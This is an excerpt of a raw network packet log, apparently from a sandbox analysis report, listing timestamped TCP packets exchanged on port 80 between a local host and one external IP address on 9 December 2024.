Dec 9, 2024 21:09:19.358109951 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358122110 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358150959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358161926 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.358175039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358186007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.358186007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358205080 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358211040 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.358216047 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358232975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358243942 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.358273983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.358985901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.358998060 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359016895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359028101 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359038115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.359051943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359066963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.359091997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.359446049 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359457016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359476089 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359488010 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359500885 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359513998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.359543085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.359858036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359906912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.359970093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.359981060 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.360018969 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.360713959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.360763073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.360780954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.360829115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.361581087 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.361629963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.361690998 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.361742020 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.362472057 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.362520933 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.362646103 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.362694025 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.363320112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.363369942 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.363404036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.363465071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.364160061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.364211082 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.364341021 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.364386082 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.365068913 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.365107059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.365114927 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.365148067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.512356997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.512624979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.512698889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.512718916 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.512761116 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.512783051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.512825012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.513632059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.513761997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.513811111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.514444113 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.514498949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.514715910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.514856100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.514978886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.515018940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.515630007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.515697956 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.515783072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.515839100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.516489983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.516561031 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.516587973 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.516635895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.517338037 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.517393112 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.517414093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.517456055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.518239975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.518281937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.518325090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.518367052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.519073963 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.519118071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.519249916 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.519294024 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.519932032 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.519975901 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.520032883 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.520075083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.520800114 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.520843983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.520912886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.520953894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.521691084 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.521817923 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.521847010 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.521858931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.522543907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.522593021 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.522726059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.522770882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.523395061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.523438931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.523523092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.524342060 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.524372101 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.524383068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.524408102 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.524502039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.525154114 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.525263071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.525302887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.526055098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.526097059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.526129007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.526174068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.526907921 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.526977062 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.527048111 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.527774096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.527801037 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.527812004 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.527822018 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.528647900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.528681040 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.528702974 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.528702974 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.529541969 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.529565096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.529597998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.529630899 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.530397892 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.530457973 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.530509949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.531229019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.531346083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.531405926 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.532094955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.532156944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.532239914 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.532282114 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.532957077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.533025026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.533051968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.533176899 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.533816099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.533907890 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.533957958 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.534023046 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.534739971 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.534884930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.534893036 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.534919024 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.535603046 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.535654068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.535805941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.535851002 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.536432028 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.536540985 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.536597013 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.537318945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.537329912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.537395000 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.538150072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.538216114 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.538258076 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.539012909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.539153099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.539192915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.539882898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.540019035 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.540057898 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.540791035 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.540828943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.540880919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.540925980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.541632891 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.541739941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.541788101 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.541827917 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.542823076 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.542886019 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.542953014 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.543261051 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.543391943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.543447971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.543541908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.543587923 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.544239998 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.544296026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.544378042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.544416904 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.545145988 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.545233965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.545278072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.546056986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.546068907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.546111107 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.546830893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.546880007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.546926975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.546967983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.547718048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.547770977 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.547797918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.547836065 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.548645973 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.548748016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.548799992 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.549495935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.549545050 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.549578905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.549639940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.550316095 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.550365925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.550412893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.550453901 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.551177979 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.551218987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.551270008 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.551306009 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.552040100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.552158117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.552217007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.552254915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.552932978 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.553013086 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.553037882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.553066015 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.553858042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.553942919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.553963900 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.554001093 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.554666042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.554713011 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.554795027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.554833889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.555598974 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.555651903 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.555725098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.555764914 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.556387901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.556397915 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.556432962 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.557235003 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.557271004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.557281017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.557310104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.704483986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.704507113 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.704600096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.704725981 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.704772949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.704809904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.704853058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.705606937 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.705733061 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.705771923 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.706676960 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.706687927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.706718922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.706748009 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.707093954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.707226038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.707264900 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.707967997 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.708010912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.708210945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.708250046 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.708880901 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.708934069 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.709079027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.709114075 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.709904909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.709949017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.710069895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.710109949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.710630894 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.710675001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.710783958 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.710823059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.711479902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.711615086 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.711657047 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.712621927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.712660074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.713010073 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.713051081 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.713440895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.713485956 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.713511944 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.713551044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.713562012 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.714066029 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.714173079 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.714211941 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.714936972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.714977026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.715051889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.715089083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.715801001 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.715851068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.715924025 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.715962887 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.716613054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.716650963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.716715097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.716758013 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.717570066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.717772961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.717817068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.718436956 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.718482971 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.718518972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.718559980 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.719280005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.719398022 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.719449043 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.720115900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.720175028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.720205069 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.720243931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.720985889 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.721040010 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.721096039 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.721138000 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.721857071 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.721904039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.721983910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.722024918 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.722724915 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.722771883 CET	49874	80	192.168.2.6	31.41.244.11
